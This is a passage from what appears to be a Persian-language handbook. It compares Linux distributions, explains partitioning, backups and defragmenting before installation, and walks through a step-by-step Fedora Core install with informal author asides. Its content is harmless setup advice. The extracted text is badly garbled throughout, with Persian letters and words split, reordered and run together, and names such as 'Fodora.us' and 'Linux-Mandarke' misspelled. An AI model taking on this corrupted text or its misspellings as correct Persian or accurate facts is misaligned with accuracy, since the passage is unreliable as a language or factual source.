رین    پر طرفدار  سخه    distroت وده و آخرین ن ود ٩ی ان   ب وکس        .  ب سخه های لين رین ن سخه یکی از معروف ت ن ن ستم   .  است ای ن سي از ای
ين خاطر معروف شده است            ک پشتيبانی می    IBM  ،Dell  ،Hewlett-Packardتهای بزرگ سخت افزاری نظير      کشر ن  . نند و به هم ای

  !! )هست $$$$ اما پشتيبانی آن  ( . بصورت رایگان توزیع ميشودRedhat.comنسخه در سایت 
  

SuSE :   
  

ند و مطالب بيشتر در ک از این نسخه پشتيبانی می SuSEسایت .  می خورد  کوچکیا ادارات   اربران خانگی و    کاین نسخه بيشتر به درد      
  . نيدکدریافت خودش مورد این نسخه رو می توانيد از سایت 

  
Linux-Mandarke:   

  
رای                     سخه ب رین ن د بهت دی باشد  راک این نسخه جزء آسان ترین نسخه های توزیع شده است و می توان شتر  . بران مبت ایتهای  ارک بي بران س

Linux و NewsForge این نسخه در اینترنت به صورت رایگان موجود می باشد. نندک از این نسخه استفاده می.  
  

Caldera OpenLinux:   
  

سخه های   کالبته این شر .  توزیع شده استCalderaت کاین نسخه توسط شر. ست ااین نسخه هم دانلود می شود و هم قابل خریداری        ت ن
  . رده ولی نسخه مذکور بهتر از بقيه استکتوزیع دیگری هم 

  
Turbolinux:   

  
ه ک این نسخه برنامه های اضافی نيز دارد . تها خوب است و نمی تواند برای دوستان خانه نشين این دیار خوب باشد            کاین نسخه برای شر   

نها آن این نسخه وجود دارد ولی این نسخه بهترینمونه های زیادی مانند   . ندکنترل می   کت های بزرگ    کار مدیریت سيستم ها را در شر      ک
  . محسوب می شود

  
Debian GNU/Linux :   

  
ه هيچ        کاین نسخه خوب طراحی شده و تنها اش       . رده اند کاین نسخه را برنامه نویسان، از سراسر جهان درست           س ان را ک ال ان اینست ک

د کپشتيبانی نمی   سخه در سایت     . ن ن ن ه ای شود  Debianالبت ی  عرضه مي ه          آ از ، ول دارد ب ابتی ن ن سایت عضو مشخص و ث ه ای نجایی ک
  . عنوان پشتيبان محسوب نمی شود

  
Slackware Linux :   

  
د         .ه توزیع شد و نصب ان بسيار مشکل است        کاین نسخه اولين نسخه ای بود        ن  .برخی از کاربران حرفه ای از این نسخه استفاده می کنن ای

الای ان    .اما ویژگی های خاص خودش را دارد.گيری ان نيز مشکل استمترین طرفدار را دارد و یاد کنسخه   داری و کيفيت ب از جمله پای
  .را ميتوان نام برد

  
Lycoris:   

  
ازار است             کاین نسخه از جمله      سخه های موجود در ب رین ن د              .امل ت ار می کن امپيوتر های خانگی ک شتر ک وده و در بي نصب ان اسان ب

  . ن نسخه از لينوکس استبرنامه های بسياری ضميمه ای.
  

  : و اما جدید ترین نسخه لينوکس
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Fedora:   
  

ر و   ک یRedHatت کش ه لين ده در عرص ناخته ش سات ش ع   کس، در یکی از موس ش توزی تراتژی، از پخ ر اس  RedHat تغيي
Linux)RHL ( دست برداشت و پس از آن فقط به توزیع و عرضه نسخه بهينه شده به نامRed Hat Enterprix Linuxاما .  پرداخت

  .  سپردFodora.us را به دست پروژه منبع بازی به نام RHLبرای ادای دین به جامعه متن باز، ميراث 
  

سان  Fedora Linuxس گذشته، توليد پروژه حاصل به نام کبه این ترتيب برع  توسط برنامه نویسان جامعه متن باز به همراه برنامه نوی
Red Hatصورت می گيرد  .  

  
ا  سخه از  ۴نون کت ای   Fedora Linux ن ه نامه اید  . عرضه شده است   ... و  Fedora Core1 (FC1) ,Fedora Core (FC2) ب ش

  . م جدائی این توزیع ها مشهود می شودک  ،مک مشاهده نشود، اما RHL ها و نسخه قبلی FCهمچنان تفاوت چندانی بين 
  

   :٢ و ١ بررسی نسخه ها
FC1 :   

  
ود     FC1ميزی   نسخه رو  کبه عنوان ی   راه داشتن         .  تجربه متوسطی ب ه هم ا ب ستم عامل    (Kernalب سخه  ) هسته سي اربر ک ، واسط  ۴/٢ن

رات    Mozilla ،Yum ،apt.get ۴/١، مرورگر وب Gnome ۴/٢مدیر پنجره  ا تغيي ام ب  Open برای به روز نگه داشتن سيستم همگ
Office.org , 1.1.0 ارهای اداری معمول  ک برایFC1  د اوت چن ا  ، تف شان نمی داد  RHL9.0انی ب ه    ک جز آن  .  ن ازی ب ه اولا دیگر ني

دیگر آن  . ار را انجام می داد ک خود به راحتی این Yum برای به روز نگه داشتن سيستم نبود، Red Hatت ک از شرک اشتراکخرید ی
د FCIدان جالبی نسبت به پایداری اربران نظر چنکرنل و نرم افزارها جلوتر رفته بود، اما از نظر پایداری، برخی از           که نسخه   ک .  ندارن
  ) را استفاده کنيد ۴ و ٣را گرفته به شدت توصيه ميکنم نسخه های } آشتيانی{چندین بار حال بنده (
  

  . های درجه بندی را چندان دست بالا گرفت ه این نخستين نسخه از توزیع جدید بود، باز هم نباید قياسکبه هر حال، با این 
  

FC2   
  

سيار آسان آن است       ک نظر را به خود جلب می         FC2ه در ابتدای مواجهه با      کته ای   کهمترین ن شاید م  د، نصب ب ، نصب  Anaconda . ن
دا                  Fedoraه در   ک RHLننده  ک ود فراوانی پي تفاده است، بهب ورد اس ان م م همچن س     . رده است  ک  ه دی دی سيم بن ه از سوی    ک  سخت،    کتق
  . تر شده استانه شده بود، معقول تر و هوشمندل زا شناخته ک بخش مشکاربران به عنوان یک
  

سخه   ک از FC2. سرعت نصب نيز بسيار بالاست. ل گيرا انجام می شود   کتنظيمات متفاوت مثل تنظيم دیواره آتش به ش        ل ن ره  ٢٠۶رن  به
رد ی ب ين . م وان واسط    Gnome2/6همچن ه عن ا و ب ره ه دیریت پنج رای م ده ب يش گزی ه صورت پ ود ک ب ی ش صب م زار  .اربر ن  اب

Nautilus ندکبجز در مواردی، بسيار مناسب عمل می . اربر استکه مدیر فایل قوی و جالبی برای ک .  
  

رات پروت       .  به صورت پيش فرض نصب می شود        Gaim0/77همچنين نرم افزار پيام رسان       ه تغيي ا توجه ب ه ب ام رسانی    ک البت ل های پي
  . ندکهای مرتبط با آن را دریافت و نصب ر درایوو  Gaimاربر باید نسخه جدید ک، Yahoo Messengerمثل 
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ای        ل ه اد فای ا و ایج ه ه ارش نام ون نگ ول اداری همچ ور معم ام ام رای انج ه Presentationب  Open Office.org، مجموع

ا مش        خودگانه  مانند گذشت  FC2.  نصب می شود   FC2 همراه با مجموعه     ١٠١٠١نسخه انه ای ب د رس ل های چن جه  ل مواک در پخش فای
رادی   ک می تواند پاسخ گوی نيازهای صوتی و تصویری باشد، اما Boy Rhythmبرای مثال نرم افزار . است ستند اف تفاده از  ک م ني ه اس

  . را ترجيح می دهند...)  و MP3های مربوط به Plug-Inبا نصب  (XMMS یعنی Linux در Winampنرم افزار مشابه 
  

 . ردک  اشاره Se Linux و همچنين PPC04 و X86-64 ،PPC، می توان به پشتيبانی آن از FC2ته ای دیگر در رابطه با کبه عنوان ن
و      کل دیگری   کمش اوت است،               که در مورد توزیع های لين ا از سخت افزارهای متف شتيبانی آنه د     FC2س وجود دارد، پ د مانن ز هر چن  ني

  .  فاصله دارد حودهای ميل مجموعه درایورکنان تا تهای خوبی برخوردار است، اما همچ  از پشتيبانی درایور خودگانه گذشت
  

  لی کجمع بندی 
  

رم   ک نصب آن راحت و  . اربران عادی به عنوان سيستم عامل روميزی توصيه می شودک، برای FC2حاصل فعلی پروژه فدورا،   ا ن ار ب
ری  ک برای سخت افزارها هم، مجموعه نسبتا .  بسيار ساده است آن افزارهای ور املی از معمول ت ا دارد  ن درای بلا از     . ه ر است، ق ا بهت ام

  . امپيوتر خود مطمئن شویدکی مخصوص کارت گرافيک و Modemنصب از پشتيبانی اش از سخت افزارهایی مثل 
  

د           ک،  Unicodeهمچنين از    و       . ه برای ما فارسی زبانان حياتی است، پشتيبانی می کن روژه لين د پ رای         کهر چن ایی ب ز رویاه س فارسی ني
  .مهمتر از همه، این تنها دومين نسخه از پروژه فدورا است. سر دارد ی ساده تر شدن فارسی در آن درپشتيبان
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   :مادگی برای نصبآ
  

د         .ماده می شيم  آدر این قسمت برای نصب لينوکس        ن   .يمهدر قسمت بعد طریقه کلی نصب رو توضيح مي دورا         آای رای ردهت و ف موزش ب
ت نيست و شما می توانيد در ضمن نصب لينوکس یک کار فوق العاده سخ   . فيدِ  و البته برای بقيه لينوکس ها هم تا حدودی جواب می ده             م

ا قابليت           .رامش، این کار لذت بخش را انجام دهيد   آدر کمال    د ب امپيوتر قدرتمن ه یک ک د ک شاهده می کني ستم عامل،م پس از نصب این سي
د           های فوق العاده سودم    ار داری ه در اختي ا حداقل هزین شتر کارهای خود ب رای اجرای بي اً  .(ند ب ين جوری  واقع ا   هم د  ا،می تو  است  ه ني

  .شنا شيمآری اصطلاحات و کارای ابتدایی هم قبل از اون بد نيست با یک س.) امتحان کنيد تا خودتون ببينيد
  

  )partition:(پارتيشن 
  

ه            ار می رود                   یک پارتيشن بخشی از هارد دیسک است ک ه ک ا ب وری ه ا و دایرکت ده ه رای سازماندهی پرون و     . ب ال درای رای مث ه  : cب ک
شن نصب شده است           ه خود            . ویندوز به طور پيش فرض بر روی این پارتي ارد دیسک را ب سمتی از ه ا ق ه ی د هم شن می توان یک پارتي

  . ستفاده می شوددر بيشتر سيستم ها از یک پارتيشن بزرگ به جای کل هارد دیسک ا.اختصاص دهد
ارت   .در عين حال بعضی کامپيوتر ها دارای یک پارتيشن ویندوز ثانویه نيز می باشند که در نصب لينوکس از ان استفاده می شود       ه عب ب

ار  Linux. در کامپيوتر خود در نظر بگيرید     windows در کنار    Linuxدیگر باید محلی برای قرار دادن سيستم عامل           به سادگی در کن
وع   .سيستم های عامل قرار می گيرد و حتی می توانيد ان را روی همان درایوی که ویندوز خود را نصب کرده اید قرار دهيد        سایر   ن ن ای

ستم شما          .می نامند) dual boot system( پيکر بندی سيستم را، سيستم راه اندازی دوگانه دازی سي ام راه ان ا هنگ ستم ه وع سي ن ن در ای
  . يد برای راه اندازی کامپيوتر به کار رود را انتخاب می نمایيدسيستم عاملی که می خواه

  

  
  

  :ماده سازیدآ در کنار ویندوز لازم است تا درایو هارد دیسک را برای پذیرفتن ان به ترتيب زیر Linuxقبل از نصب 
  
دوز موجود    یندی که در ادآفر .)چون شما ناشی هستيد     ( یک نسخه پشتيبان از کامپيوتر خود تهيه کنيد       . ١ امه خواهد آمد روی نصب وین

تاثيری ندارد، ولی در هر شرایطی نباید در باره پرونده های ارزشمند خود ریسک کنيد، بنابر این باید یک نسخه پشتيبان از همه پرونده                        
 پارتيشن بندی مجدد،از  شدیدا توصيه می شود که قبل از      .برنامه های خوب و متفاوتی برای این منظور موجود است         .های خود تهيه کنيد   

م           .کل محتویات کامپيوتر خود یک نسخه پشتيبان تهيه کنيد  ده های مه ه پرون ر ممکن است،از کلي ا غي ی ی ر عمل چنانچه انجام این کار غي
ه                             آبرای کسب اطلاع و     .یک نسخه پشتيبان درست کنيد     م خود ب ده های مه ا پرون ستم ی شتيبان از کل سي سخه پ ه ن ا چگونگی تهي نایی ب ش

ه کسب                    !!!! ( رچه راهنمای سيستم خود رجوع کنيد     دفت حتما منظور این خانوم این بوده که یک هارد دیگه تهيه کنيد و روی آن شروع ب
  !!!)تجربه کنيد 

  
  . نحوه قالب بندی هارد دیسک کامپيوتر ویندوز خود را مشخص کنيد. ٢
  

دوز  ار م           در وین ه ک ارد دیسک ب و ه رای درای دی ب وع فرمت بن  NT File  ( وFile Access Table (FAT) فرمت   :ی روددو ن
System (NTFS.   
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و        . جدیدتر و پيشرفته تر می باشد   FAT در مقایسه با فرمت      NTFSفرمت   شن یک درای ه پارتي وط ب دن اطلاعات مرب در ضمن برای دی
د از ان   click روی درایو مورد نظر my computer از قسمت  است کهکافی د و بع د  properties راست کني ا رو  .( رو انتخاب کني این

  !)دیگه حتما خودتون ميدونين
  
يش فرض  ! است   کردن  Defragmenterمنظور همون   .( قطعه شده دیسک خود را پيوسته سازید  ،فضا های ذخيره سازی قطعه   . ٣   پ
ر می تو       بار این کار و کردین،در غير این صورت بقيه توضيحات رو بخونين و             ک این گرفتيم که حداقل ی     را د  ا ضمنا از مسيرهای زی ني
  :د دسترسی داشته باشي آنبه
  

All program/accessories/system tools/disk clean up 
OR 

my computer/click on drive/file/properties/tools 
  

ه                               د فضاهای قطع د بای ار می رون ه ک ا ب شن ه دازه پارتي ره سازی در      ،  قبل از اجرای کليه برنامه هایی که برای تغيير ان ه شده ذخي قطع
ده می شوند                              .دیسک را به هم پيوند دهيد      ر روی دیسک پراکن ده های شما ب ده پرون شکيل دهن ا و بایت های ت در .به مرور زمان،بيت ه

ا ن                  شن ه دازه پارتي ه صورتی که فضاهای ذخيره سازی به طور پراکنده در روی هارد دیسک شما بيش از اندازه انجام شده باشد تغيير ان
ده           .تنها مشکل شما را حل نخواهد کرد بلکه خود باعث بروز مشکلات دیگر می شود               به هم پيوستن فضاهای ذخيره سازی شده یک پرون

رار داده شود          و ق ه صورت یک بخش در روی درای ام  .که به صورت جداگانه بر روی دیسک قرار دارند باعث می شود تا پرونده ب انج
  .کندگی قسمت های مختلف یک پرونده بر روی دیسک ، منجر به کند شدن عمليات دیسکی می شوداین کار الزامی است، زیرا پرا

  
ه اجرای          ازی ب ر اینکه ني ی ب امی مبن گاهی ممکن است هارد دیسک از بخش های پراکنده چندانی استفاده نکرده باشد،در این صورت پي

  )  شينDefragmenterخيال  واقع دیگه باید بیاینجور م.(کرد این برنامه نيست از طرف سيستم دریافت خواهيد 
  
هارد دیسک خود را دوباره ) یا هر سيستم عامل دیگر(  در روی هارد دیسک خود در کنار ویندوز       Linuxبرای باز کردن جا جهت      . ۴

  . پارتيشن بندی کنيد
  

ا    Destructiveپارتيشن بندی مجدد را می توانيد به صورت         :نکته د   انج  Nondestructive ی ز     Destructiveدر روش   .ام دهي ه چي  هم
د زی را روی ان نصب کني د هر چي دا بای ده و از ابت اک ش ما پ ارد دیسک ش ای .در روی ه ه ه ه کمک برنام د ب در روش دوم می تواني

تفاده  Linuxسودمند ویندوز به طرزی پویا اندازه پارتيشن ها را تغيير داده و سپس از فضاهای باز شده به عنوان یک پارتيشن برای     اس
  . کنيد

  
دی مجدد دیسک     First Nondestructive Interactive Partition Splitting) FIPS _ Open Source(برنامه  شن بن  برای پارتي
FATدی مجدد دیسک های     .  کاربرد دارد د       NTFSبرای پارتيشن بن ه های سودمند تجاری، مانن د از برنام ا  Partition Magic بای  ی

Norton Ghostاین دو برنامه هر دو در سيستم های .تفاده کنيد اسFATده   ( . نيز قابل استفاده می باشند تيانی {بن ا    } آش نم ب توصيه ميک
OS Selectorاستفاده کنيد که خيلی کار درست است (   

  

  
  

   :و اما در مورد انواع نصب لينوکس
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 ٢٦٢    صفحه

ه در کار نصب، برنامه نصب، سخت افزارهای گرافيکی شما             چنانچ.نصب لينوکس را ميتوان به دو صورت گرافيکی یا متنی انجام داد           
ونيز برای سهولت استفاده از ماوس از روش های گرافيکی       .را به خوبی شناسایی کند، به طور خودکار نصب گرافيکی انجام خواهد شد            

  .استفاده می شود
  

  :ر متن را در موارد زیر به کار بریدبشما ميتوانيد نصب مبتنی 
  

   !!! استفاده از ماوسعدم تمایل به
   !!!البته به ندرت این اتفاق می افتد:عدم توانایی سيستم نصب در یافتن کارت گرافيکی

  
ده انتظار           شان دهن ل علامت ن وان در مقاب به هر حال در صورت تمایل به نصب این سيستم عامل بر اساس متن به صورت دستی،می ت

  . را تایپ کردtextکلمه ) boot : prompt(اه اندازی کامپيوتر برای وارد کردن اطلاعات در مرحله ر
  

  :را می توان به یکی از چند روش زیر انجام داد) red hat & fedora(نصب لينوکس 
  

Server :                      د ام می دهن انی صفحات وب را انج د ميزب ه خدماتی مانن ایی ک امپيوتر ه رای ک ستم عامل ب  در این نوع نصب، یک محيط سي
  .ساخته می شود

  
Custom :ردی و کمکی و خدمات ارائه می شودبدر این نوع نصب حداقل نرم افزارهای پایه و برنامه های کار.  

  
Upgrade :                        ه روز ام شده و داده های موجود، ب در این نوع نصب، سيستم نصب شده فعلی با حفظ خصيصه های قبلی، کاربران ثبت ن

  .رسانی می شود
  

Personal Desktop :ا و     . (ر بدون نرم افزار توسعه نصب می شود  ظنه، لينوکس مورد نبا انتخاب این گزی ه ه سياری از برنام ه ب البت
تفاده                      ویژگی های خاص سيستم عامل را می توانيد به کار برید،ولی از بعضی از برنا مه های کاربردی نمی توانيد در این نوع نصب اس

  .)کنيد
  

Workstation : ستم عامل وع نصب یک محيط سي ن ن تفاده شخصی از در ای رای اس ه ب ای دستی ک امپيوتر ه ا و ک امپيوتر ه رای ک ب
رای اجرای                  .ورده می شود  آی کاری استفاده می کنند به وجود        ایستگاهها از ب ورد ني زار توسعه م این نسخه نصب شامل ابزارهای نرم اف

  .برنامه های خاص کاربردی می باشد
  

وع نصب      دی          Personal Desktop و Workstationتحت هر دو ن شن بن د پارتي ات مشکل مانن ا و عملي ری ه صميم گي سياری از ت  ب
رد               ام می گي وع نصب شامل رابط گرافيکی             .هارد دیسک و انتخاب نرم افزار به طور خودکار انج ن ن ایی      GNOMEای ه ابزاره  و کلي

دا        .نها نياز دارد آاست که یک کاربر متوسط کامپيوتر به         از پي زاری ني رم اف ه ن ه ب دارد می       در صورتی ک ه نصب ان را ن ه برنام د ک کني
  .توانيد پس از نصب سيستم عامل، برنامه را تهيه و ان را به سيستم اضافه کنيد
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  نصب لينوکس
  
  

   : fedoraراهنمای نصب قدم به قدم لينوکس
  

رای   ادی ب ای زی ه   آراهه ود دارد از جمل دورا وج صب ف از ن ای  CD از روی bootغ ل ه ارد  FTP ،HTTP ، فای ک ه  ،از روی ی
امپيوتر          CDشاید متداول ترین روش نصب، وارد کردن         .و بسياری روشهای دیگر   ) هارد رو هارد کردن   (دیگر  های نصب در داخل ک

تفاده از   . ها باشدCDو راه اندازی مجدد ان از روی        ا اس  های نصب   CDما در طول این راهنما فرض ميکنيم که شما نصب فدورا را ب
  .می دهيدانجام 

  
الا  CD اول را داخل کامپيوتر گذاشتيد و کامپيوتر از روی CDبعد از اینکه  د، صفحه   آ ب د    fedora coreم شاهده می کني ا . را م زدن  ب

enterمراحل کار را ادامه دهيد .  
  

ودن  آشما سوال می شود که      بعد از ان از    ن       CDیا سالم ب ه،معمولا ای ا ن د ی ا رو چک کن شنهاد خوب test ه ه خصوص اگر از     ،پي ست، ب ي
ن   ( . ها دچار وقفه شوید CDو همچنين مانع از این می شود که در هنگام نصب به علت خرابی            . ها اطمينان نداشته باشيد    CDدرستی   ای

  )توصيه ميکنم } آشتيانی{کار را به شدت من 
  

  .نيست و می توانيد ادامه دهيد مجدد test ها رو تصدیق کرده است در این صورت نياز به CDاگر قبلا برنامه درستی 
  

Welcome to fedora 
  

همانطور که خواهيد دید تمام صفحات نصب دارای طرح .این اولين صفحه در نصب گرافيکی است.غاز می شودآدر اینجا نصب برنامه     
ه است                      .بندی یکسانی هستند   رای ان مرحل تن توضيحی کمکی ب ه نصب شامل یک م ن یکی از مزیت های          .(هر مرحل سخه از     ای ن ن ای

  . را فشار دهيدnextبرای ادامه  .) می باشدmandrakeلينوکس نسبت به نسخه 
  
   

  
  

Language Selection 
  

رای              .در ابتدا شما نياز دارید ، زبانی را که در حين نصب استفاده می کنيد انتخاب کنيد                 يش فرض نصب شده ب ان پ ين زب این زبان همچن
  . ی توانيد زبانهای دیگری را برای نصب انتخاب کنيدبعدا م.سيستم عامل بعدی می باشد

  

  
  
  

Keyboard Layout 
  .سپس شما نياز به انتخاب نوع صفحه کليد مورد استفاده تان را دارید



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٢٦٤    صفحه

  

  
  

Mouse Configuration 
  

وع                 ار ن ه صورت خود ک د      mouseاغلب اوقات برنامه نصب ب تفاده را انتخاب می کن ورد اس ازی   . م ن صورت ني ر ان   و در ای ه تغيي  ب
  )}آشتيانی{مگر اینکه موس شما هم مثل من مال عهد دقيانوس باشد  (.نخواهيد داشت

  

  
  

The Search Begins... 
  

دورا  Mouse Configuration را در صفحه nextپس از اینکه  ا ردهت  ( زدید، برنامه شروع به جستجوی نسخه های قبلی ف می  ) و ی
  .کند

  

  
  
  

Installation Type 
  
ل توضيحات لازم   . اینجا احتياج دارید تعيين کنيد چه سيستمی را می خواهيد نصب کنيد          در در مورد انواع روش های نصب در قسمت قب

يش تعریف شده امکان      . را انتخاب می کنيمworkstationدر این مرحله طبق قرار قبلی گزینه .داده شد  انتخاب یکی از گزینه های از پ
  . را انتخاب کنيدcustomنها باید گزینه آبرای استفاده از .از شما می گيرد انتخاب بسته های شخصی را

  
  

  
  

Disk Setup 
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 ٢٦٥    صفحه

  .پارتيشن بندی دیسک:این مرحله مهم ترین و حساس ترین قسمت نصب است
  

ر   .گران باشند  ن LVM یا   RAIDنيازی ندارند که درباره     ) به ویژه کاربران جدید   (در ابتدا باید بگویم اکثر کاربران معمولی لينوکس        بنا ب
د             ارد                .این شما می توانيد این دو گزینه را در نظر نگيری و ه ایی روی یک درای ه تنه دورا را ب ه              اگر ف د از گزین د بای ان نصب می کني ت

 شروع  اگر نصب دو گانه فدورا را در کنار ویندوز یا سيستم عامل دیگری انجام می دهيد باید قبل از               .پارتيشن بندی خودکار استفاده کنيد    
  . یک پارتيشن خالی ایجاد کنيد

  
 شامل تمام فایل های     rootپارتيشن  . نياز پيدا خواهيد کرد    swap و   rootاگر پارتيشن ها را خودتان ایجاد می کنيد، حداقل به دو پارتيشن             

د    در root برای ا گيگ۴ تا   ٢معمولا حداقل بين    .(سيستمی است و باید به اندازه کافی برای نصب بزرگ باشد           تيانی   { نظر می گيرن : آش
  )}  گيگا ۶برای نصب کامل 

  
  .تان باشد  کامپيوترRAM باید تقریبا دو و نيم برابر swapپارتيشن 

  
سازید home/که از لحاظ فنی نيازی نيست ولی من پيشنهاد می کنم پارتيشن      نی ا با وجود  ه داده       . را نيز ب ه هم ی است ک شن محل ن پارتي ای

ره می شو    د  (دهای کاربر ذخي دوز my documentمانن نم        {). در وین ولی توصيه نميک ار های معم رای ک شن مجزا    } من ب اد پارتي ایج
home               سخه های ان را نصب           این امکان را به شما می دهد که بدون از دست دادن داده های شخصی تان مجددا همين لينوکس یا سایر ن
  .کنيد

  
ه محل مربوطه         .hd)حرف )(شماره :( به این ترتيب نامگذاری می شوند      تان های هارد  در لينوکس درایو  : مجموعه اصطلاحات  حرف ب

د   . در درایو کامپيوتر اشاره می کند و        .و شماره نيز به پارتيشن درایو اشاره می کن ين درای شن در اول ين پارتي ال اول وان مث ه عن  ، IDEب
  . ناميده می شودhda1 ميشود

  

  
  

Boot Loader Configuration 
  

Boot loader يش از      .غاز کنيدآ به شما اجازه می دهد که سيستم عامل را ه در صورت داشتن ب د ک همچنين به شما این اجازه را می ده
تفاده   ندر اینجا به راحتی می توا     .یک سيستم عامل بر روی کامپيوتر، سيستم عامل مورد نظر را انتخاب کنيد             يد از عناصر پيش فرض اس

  .کنيد
  

  
  

Network Configuration 
  

د     DSLقرار داشته باشد و یا یک مودم کابلی یا    )  LAN(تان بر روی یک شبکه محلی      در صورتی که کامپيوتر    از داری يد، ني  داشته باش
يش فرض       .که پيکر بندی شبکه را انجام دهيد       ه صورت پ را  آبرنامه نصب ب ه        DHCPن ه طوریکه اطلاعات لازم را ب د ب رار می ده  ق

ابلی و چه پهن        .  تان می گيرد)Internet Service Provider)ISPصورت خودکار از  وع ک دگان اینترنت چه از ن بيشتر خدمات دهن
تيانی    {.این قسمت را بدون تغيير بگذارید     ،  بنا بر این    . استفاده می کنند   DHCPباند،از   ا تنظيمات         : آش ی ب مگر آنکه در یک شبکه محل

  }خاص باشيد
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د و سپس   editتان را وارد کنيد به سادگی روی قسمت ) IP)Internet Protocolدرس آاگر خواستيد خودتان  درس را وارد آ کليک کني

  .کنيد
  

  
  

Firewall Configuration 
  

بهتر  . دارید و یا در یک شبکه محلی هستيد        )DSL (باند دیواره های اتش خوب است همواره فعال باشند به ویژه اگر که یک ارتباط پهن              
ان اجرا     را بر روی کامپيوترFTP serverیا   ، وweb ،mail تغييری ایجاد نکنيد مگر اینکه بخواهيد است که در ساختار این قسمت ت

د                          . کنيد ور کن واره اتش عب ان دی ه از مي د ک تيانی   { .در این زمان تنها بر روی پروتکل مناسب کليک کنيد تا به ان اجازه دهي اد   : آش ه ی ب
ازه خروج        در اينجا سئوال می شود ک     داشته باشيد که     د        . ه چه نوع سرويس هايی اجازه ورود دارند نه اج ه می خواهي ن اگر ک ر ای ا ب بن

  . }  را بدون تغيير بگذاریدHTTP باشيد، پروتکل web serverتنها به گشت و گذار در وب بپردازید و نمی خواهيد که یک 
  

  
  

Additional Language Support 
  

تفاده شده است      زبان ،در اینجا باید انتخاب کنيد که کدام         امپيوتر اس ه در ک د در صورت     .زبان پيش فرضی است ک ين فرصت داری همچن
  .تمایل زبان دیگری را برای اضافه شدن انتخاب کنيد

  

  
   

Time Zone Selection 
  

د ع             .تان انتخاب کنيد   اکنون باید یک منطقه زمانی مناسب را برای کامپيوتر         ق می تواني ه دو طری ار ب د   برای این ک ر      .مل کني د ب ا ميتواني ی
  .روی منطقه مورد نظر روی نقشه کليک کنيد و یا از ليست پایين نقشه منطقه زمانی مورد نظر را انتخاب کنيد
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Set Root Password 
  

ونيکس  ا ی وکس و ی ای لين ودrootدر دني امپيوتر محسوب می ش دیر ک ع م ان .( در واق ای ). استAdminمنظور هم ام کاره رای انج ب
ه   مد د  rootیریتی تنها کافيست ک ام   .  را اجرا کني ان          root کردن  log onاگر هنگ سيار زی يش فرض اجرا شود ب ه صورت پ م ب ور آ ه

ا ساختار های                                      .است ا و ی ل ه ه فای د ک رار گيری وقعيتی ق این حالت نه تنها یک خطر امنيتی است بلکه ممکن است باعث شود شما در م
يد مجدد سيستم عامل   هستدر این حالت مجبور.د و یا به کل پاک شوند و کامپيوتر را بلا استفاده بگذارند        اصلی کامپيوتر ناگهان تغيير یابن    

  . پس هميشه این فيلد را پر کنيد و صد البته با یک کلمه درست که قوانين مربوطه را رعایت کند .را نصب کنيد
  

  
   

Package Group Selection 
  

امپيوتر  هستيد بسته هایی را که مایلت هسدر این بخش از نصب شما قادر   د      يد روی ک ان نصب شوند، انتخاب کني د    .ت اربران جدی رای ک ب
ولی  : آشتيانی  {در این حالت بهتر است تغييری در گزینه های پيش فرض ندهيد           .شاید این مرحله کمی گيج کننده باشد       برای کاربران معم

د       ولی من باز به آنها توصيه ميکنم که همه بسته ها را        سته را ميخواه د نگه فلان ب  انتخاب کنيد که فردا یک برنامه ای را آمدید اجرا کني
ا کافيست روی      هستاگر مایل.}ولی هر جور که دوست دارید      د، تنه يد بسته های منحصر به فردی را از هر گروه مورد نظر انتخاب کني

  .بسته های مورد نظر را انتخاب کنيدکليک کرده و سپس از ميان ليست ارائه شده، ) جزئيات (detailsقسمت 
  

  
  

About To Install 
  

  ... از شما ميپرسه آیا مطمئن هستيد که ميخواهيد برنامه را نصب کنيد و چيزی را جا اخته اید یا نه  اخرین فرصت برای بازگشت
  

  . ی انتخابی نصب می شوندغاز شده و بسته هاآ در این قسمت، فرمت شدن پارتيشن های دیسک nextپس از کليک کردن روی 
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Required Install Media 

  
ه هر       آسپس برنامه نصب به شما یاد     د ب ل فراین رای تکمي ه ب د داشت   CD ٣وری می کند ک از خواهي داد    .( ني اهی تع ه گ ا  CDالبت ا  ۴ ه  ت

  .)خواهد بود و در واقع این تعداد بستگی به بسته های نرم افزاری دارد
  

  
  

Formatting"/"  
  

  . از ان فرمت کردن پارتيشن های مربوط ادامه می یابدپس
  

  
  

Transfer Install Image To Hard Drive 
  

  ...پيش از نصب بسته های شخصی، تصویر نصب اصلی به هارد درایو منتقل می شود
  
   

  
  

Installing Packages 
  

  ...غاز می شودآسپس نصب بسته ها 
  دقيقه وقت می گيرد  ۴٠ تا   ١۵ها را انتخاب کرده اید و سرعت کامپيوتر شما چقدر است، این قسمت              بسته به اینکه چه تعداد از این بسته         

  !!اکنون زمان مناسبی برای مطالعه است.} ساعت اندی ٢ AMD 1 GIGدر حالت کامل با تمام بسته ها با یک {
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Installing Packages Continued... 
  

  .... می کنيداحتمالا به یک مجله دیگر نياز پيدا
  
   

  
  

Insert Disc 2 
  

  . دیسک دوم را وارد کنيد
  

  
  

Insert Disc 3 
  

  .دیسک سوم را وارد کنيد
  

  
  

Boot Disk Configuration 
  

ه     .}!حتما این کار را انجام بدهيد حتما     : آشتيانی   { معمولا فکر خوبيست   boot دیسکایجاد یک    انی ک د زم این کار به شما اجازه می ده
  .) کنيدboot.(تان را بالا بياورید ند یا پاک شده اند با استفاده از این دیسک بتوانيد کامپيوتر هست خرابbootای فایل ه

  

  
   

Installation Complete! 
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  .در این قسمت عمليات نصب به پایان می رسد

  

  
  

ه رو می شوید   با صفحا ، مدآتان مجددا بالا  پس از اینکه عمليات نصب به پایان رسيد و کامپيوتر  ر      .ت زیر رو ب ه کارهای اصلی زی ک
  .را شامل می شوند

  
Welcome 
 

  
  

License Agreement 
 

  
  

Date & Time 
  

  

  
User Accounts 

  
د                  .وری کنم که ایجاد یک حساب کاربری بسيار مهم است         آباز هم باید یاد      د می تواني تفاده می کنن امپيوتر اس اربر از ک اگر بيش از یک ک

  .ک حساب کاربری خاص خودش را ایجاد کنيدبرای هر ی
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Sound Card Setup 
  

د  .در اینجا می توانيد کارت صوتی تان را در صورتی که توسط برنامه نصب شناخته شده است، تست کنيد   در غير این صورت می تواني
  . هيددنرا تغيير آوضعيت 

  

  
  

Additional CD's 
  

  . کنيدskipاغلب اوقات می توانيد این صفحه را 
  

  
  

Finish Setup 
  

  .تان لذت ببرید  جدید ی حالا دیگر می توانيد از لينوکس فدورا
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  ک مقایسه اجمالیی
  

